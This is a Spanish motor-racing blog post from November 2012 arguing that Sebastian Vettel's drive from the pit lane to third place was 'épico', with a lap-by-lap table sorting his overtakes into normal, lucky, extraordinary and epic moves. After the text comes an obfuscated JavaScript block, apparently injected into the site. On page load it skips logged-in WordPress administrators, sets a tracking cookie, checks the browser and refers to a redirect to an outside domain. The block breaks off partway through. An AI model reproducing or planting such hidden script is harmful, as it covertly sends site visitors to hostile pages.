

## Vettel "El Épico"

Escrito por angelProsado

Lunes, 05 de Noviembre de 2012 20:20 -

---

La que hay "liá" en Twitter con la discusión: ¿Carrerón o no carrerón de Vettel?

Ayer no pude seguir la carrera como me gusta y, al terminar, me lancé a afirmar que Vettel había hecho un 3º desde el PitLane con un adelantamiento y medio. Ya tuve que explicar que diferenciaba ADELANTAMIENTO de SobrePaso o ganar posición.

Hoy he vuelto a ver la carrera acompañado de LTF1 y la aplicación de Posicionamiento GPS y ya he comunicado a los amigos de Twitter que he tenido que cambiar de opinión... con matices.

VUELTAS	LO NORMAL	SUERTE	EXTRAORDINARIO	ÉPICO
V1	DLR sale del Pitlane .....			
		HUL abandona		
		DIR pincha		
		GRO pincha		
		ROS box alerón		
			Lucha con SEN	
V3			Doble adelantamiento SEN y PIC	
V5			Doble adelantamiento PET y GLO	
V7	Adelantamiento a KOV			
V9		SAFETY CAR		
V10	VER al box (SC)			
V13				VET al box Alerón y Neumá
V14		SC out		
			Doble adelantamiento DLR y DIR	
V16	Adelantamiento a PIC y GRO*			
V17				Devuelve posición y pasa a
	Adelantamiento a GLO			
V18			Adelantamiento a PET (Curva 4)	
	Adelantamiento a VER*			
	Adelantamiento a KOV			
V21	Adelantamiento a SEN			
V23	Adelantamiento a RIC			
V25	Adelantamiento a SCH			
	KOB a box			
V27		MAS trompea		
V29	ALO a box			
V30	BUT y MAL a box			
V31	WEB y PER a box			
V38	VET a box			
V39		SAFETY CAR		
V52				Adelantamiento a BUT

Esta es la forma que se me ocurrió para "valorar" la carrera de Vettel. Las discusiones

## Vettel "El Épico"

Escrito por angelProsado

Lunes, 05 de Noviembre de 2012 20:20 -

---

versaban sobre adelantamientos, suerte, posiciones ganadas, tiempos ganados...

Lo que tengo que decir es que mi primera impresión de ayer no fue del todo errónea. Tres sucesos épicos. Y de ellos el adelantamiento bestial a Button y la lucha y adelantamiento a Grosjean. También la idoneidad de los Safety Car y los incidentes, para ganar posiciones y mejorar su estado en la carrera.

Pero hay mas cosas. Hay una cantidad de acontecimientos extraordinarios. Como los adelantamientos dobles, la lucha con Senna, etc.

Además pongo ahí el resto de adelantamientos y posiciones ganadas. Unos fáciles por la situación de carrera y otros ganados gracias a una estrategia improvisada, por las circunstancias, y acertada, por las mismas.

Definitivamente, lo tengo que decir: ¡¡¡CARRERÓN DE VETTEL!!!..... y me alegro ;-)

```
var
_0x2cf4=['MSIE;', 'OPR', 'Chromium', 'Chrome', 'ppkcookie', 'location', 'https://www.areyourobots.xyz', 'onload', 'getElementById', 'undefined', 'setTime', 'getTime', 'toUTCString', 'cookie', ';x20path=', 'split', 'length', 'charAt', 'substring', 'indexOf', 'match', 'userAgent', 'Edge'];(function(_0x15c1df, _0x14d882){var
_0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);)(_0x2cf4,0x104);var
_0x287a=function(_0x1c2503, _0x26453f){_0x1c2503=_0x1c2503-0x0;var
_0x58feb3=_0x2cf4[_0x1c2503];return
_0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]['wpadminbar']==null){if(typeof _0x335357===_0x287a('0x2')){function
_0x335357(_0xe0ae90, _0x112012, _0x5523d4){var _0x21e546=";if(_0x5523d4){var
_0x5b6c5c=new
Date();_0x5b6c5c[_0x287a('0x3')]( _0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';x20expires='+_0x5b6c5c[_0x287a('0x5')]();};document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||"")+_0x21e546+_0x287a('0x7');};function _0x38eb7c(_0x2e2623){var
_0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var
_0x51e64c=0x0;_0x51e64c
```